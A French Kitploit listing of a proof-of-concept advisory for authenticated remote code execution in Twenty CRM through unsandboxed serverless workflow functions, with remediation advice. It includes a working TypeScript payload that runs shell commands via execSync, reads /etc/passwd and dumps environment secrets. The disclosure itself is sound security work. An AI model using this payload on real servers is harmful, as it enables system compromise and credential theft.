Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-26720-Twenty-RCE — Preuve de concept pour l'exécution de code à distance authentifiée dans Twenty CRM via des fonctions serverless non sandboxées, permettant l'exécution arbitraire de commandes Node.js et la divulgation de variables d'environnement. | Kitploit
Outils/GitHubGitHub/dillonkirsch/cve-2026-26720-twenty-rce
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité CloudMauvaise Configuration
GitHubdillonkirsch/cve-2026-26720-twenty-rce

CVE-2026-26720-Twenty-RCE

Preuve de concept pour l'exécution de code à distance authentifiée dans Twenty CRM via des fonctions serverless non sandboxées, permettant l'exécution arbitraire de commandes Node.js et la divulgation de variables d'environnement.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
19il y a 9 moisPas encore vérifié

Twenty CRM - Exécution de code à distance (RCE) authentifiée

Vue d'ensemble

Produit : Twenty CRM

Vulnérabilité : Exécution de code à distance (RCE) via les fonctions serverless des workflows

Sévérité : Critique

Composant affecté : Automatisation des workflows (Code - Fonction serverless)

Version testée : v1.15.0

Ce dépôt documente une vulnérabilité critique dans le moteur de workflows de Twenty CRM. Le composant « Code - Fonction serverless » permet aux utilisateurs authentifiés d'exécuter du code Node.js arbitraire. En raison d'un manque de sandboxing, il est possible d'importer le module child_process et d'exécuter des commandes au niveau du système sur le serveur hôte.

Détails de la vulnérabilité

L'application permet aux utilisateurs de créer des workflows d'automatisation personnalisés qui incluent une étape d'exécution de code. Bien que cela soit destiné à la manipulation de données, l'environnement d'exécution ne restreint pas correctement l'accès aux modules intégrés de Node.js ni au système d'exploitation sous-jacent.

Un attaquant peut utiliser execSync de la bibliothèque child_process pour :

  1. Exécuter des commandes shell (par exemple, cat, ls, whoami).
  2. Lire des fichiers sensibles du système de fichiers (par exemple, /etc/passwd).
  3. Extraire les variables d'environnement (process.env), révélant les identifiants de base de données, les clés API et les secrets de l'application.

Preuve de concept (PoC)

Étapes pour reproduire

  1. Connectez-vous à Twenty CRM.
  2. Accédez à Paramètres > Workflows.
  3. Créez un nouveau workflow avec un déclencheur manuel.
  4. Ajoutez une action : Code - Fonction serverless.
  5. Collez la charge utile TypeScript suivante dans l'éditeur de code :
import { execSync } from 'child_process';

export const main = async (params: any): Promise<object> => {
  try {
    // 1. Exécution de commande à distance : Lecture des utilisateurs système
    const output = execSync('cat /etc/passwd').toString();
    
    // 2. Divulgation d'informations : Extraction de toutes les variables d'environnement (Secrets)
    const secrets = JSON.stringify(process.env);
    
    return { 
      data: output, 
      secrets: secrets 
    };
  } catch (e: any) {
    return { error: e.message };
  }
};

  1. Enregistrez et exécutez le workflow.

Aperçu du code

Sortie observée

Le workflow s'exécute avec succès et renvoie les données système.

Accès aux fichiers système (/etc/passwd) :

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...

Variables d'environnement divulguées : L'extraction de process.env a révélé des détails de configuration critiques :

  • PG_DATABASE_URL (Identifiants de base de données)
  • APP_SECRET (Clés de signature)
  • REDIS_URL
  • AWS_ACCESS_KEY (Si configuré)

Impact

Cette vulnérabilité permet à un utilisateur authentifié (disposant des autorisations pour créer des workflows) d'obtenir un compromission totale du système.

  • Confidentialité : Les attaquants peuvent lire toutes les données de la base de données et du système de fichiers.
  • Intégrité : Les attaquants peuvent modifier le code de l'application, supprimer des données ou injecter des logiciels malveillants.
  • Disponibilité : Les attaquants peuvent arrêter le serveur ou consommer toutes les ressources.

Remédiation

Pour corriger ce problème, la fonctionnalité « Fonction serverless » nécessite une isolation appropriée.

  • Implémenter un sandboxing : Le code doit être exécuté dans un environnement restreint (par exemple, un sandbox VM2, un conteneur Docker dédié sans accès réseau/volume, ou une micro-VM comme Firecracker).
  • Restreindre les modules : Désactiver l'accès aux modules Node.js sensibles tels que child_process, fs et net.
  • Nettoyage des variables d'environnement : S'assurer que le contexte d'exécution n'hérite pas des variables d'environnement du processus parent (qui contiennent les secrets de l'application).

Chronologie

  • 8 janvier 2026 : Vulnérabilité découverte.
  • [Date] : Signalée à l'équipe de sécurité de Twenty CRM.
  • [Statut] : En attente d'un correctif.
Télécharger l’outil